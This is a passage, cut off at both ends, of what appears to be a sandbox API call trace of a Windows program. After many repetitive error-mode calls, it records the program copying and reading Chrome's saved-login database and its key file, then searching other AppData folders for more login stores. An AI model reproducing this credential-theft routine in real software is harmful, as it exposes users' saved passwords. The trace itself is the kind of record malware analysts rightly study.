lpOldMode=0x12ff078) returned 1 [0199.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff080) returned 1 [0199.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0200.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0200.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0200.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff04c) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff04c) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff04c) returned 1 [0200.702] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bd33D770D006BC47C58714222CDAC43A71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bd33d770d006bc47c58714222cdac43a71.tmp"), bFailIfExists=1) returned 1 [0200.707] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ls33D770D006BC47C58714222CDAC43A71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ls33d770d006bc47c58714222cdac43a71.tmp"), bFailIfExists=1) returned 1 [0200.724] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bd33D770D006BC47C58714222CDAC43A71.tmp", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bd33D770D006BC47C58714222CDAC43A71.tmp", lpFilePart=0x0) returned 0x49 [0200.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefc4) returned 1 [0200.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc0) returned 1 [0200.724] ReadFile (in: hFile=0x468, lpBuffer=0x331bbc8, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x12ff06c, lpOverlapped=0x0 | out: lpBuffer=0x331bbc8*, lpNumberOfBytesRead=0x12ff06c*=0x4800, lpOverlapped=0x0) returned 1 [0200.850] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ls33D770D006BC47C58714222CDAC43A71.tmp", nBufferLength=0x105, lpBuffer=0x12fea64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ls33D770D006BC47C58714222CDAC43A71.tmp", lpFilePart=0x0) returned 0x49 [0200.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefa8) returned 1 [0200.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ls33D770D006BC47C58714222CDAC43A71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ls33d770d006bc47c58714222cdac43a71.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x468 [0200.850] GetFileType (hFile=0x468) returned 0x1 [0200.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa4) returned 1 [0200.850] GetFileType (hFile=0x468) returned 0x1 [0200.850] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.851] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.851] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.851] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.851] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.851] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.852] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.852] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.852] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.852] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.852] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.853] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.853] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.855] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.855] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.855] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.855] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.856] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.856] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.856] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.856] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.856] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.857] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.857] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.857] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.857] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.857] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.858] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.858] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.858] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.858] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x1000, lpOverlapped=0x0) returned 1 [0200.859] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x439, lpOverlapped=0x0) returned 1 [0200.859] ReadFile (in: hFile=0x468, lpBuffer=0x3323dfd, nNumberOfBytesToRead=0x3c7, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3323dfd*, lpNumberOfBytesRead=0x12ff050*=0x0, lpOverlapped=0x0) returned 1 [0200.859] ReadFile (in: hFile=0x468, lpBuffer=0x3324a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff050, lpOverlapped=0x0 | out: lpBuffer=0x3324a38*, lpNumberOfBytesRead=0x12ff050*=0x0, lpOverlapped=0x0) returned 1 [0200.861] CloseHandle (hObject=0x468) returned 1 [0200.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0200.981] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x12feb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\History", lpFilePart=0x0) returned 0x25 [0200.981] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History\\Login Data", lpFindFileData=0x12fede4 | out: lpFindFileData=0x12fede4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0200.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff080) returned 1 [0200.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0200.998] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x12feb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0200.998] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Login Data", lpFindFileData=0x12fede4 | out: lpFindFileData=0x12fede4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0200.998] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0200.998] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.998] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0200.998] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0200.999] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0200.999] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0200.999] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0200.999] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0200.999] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0200.999] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FontCache", cAlternateFileName="FONTCA~1")) returned 1 [0201.000] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0201.000] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0201.000] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0201.000] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="input", cAlternateFileName="")) returned 1 [0201.000] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0201.000] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: 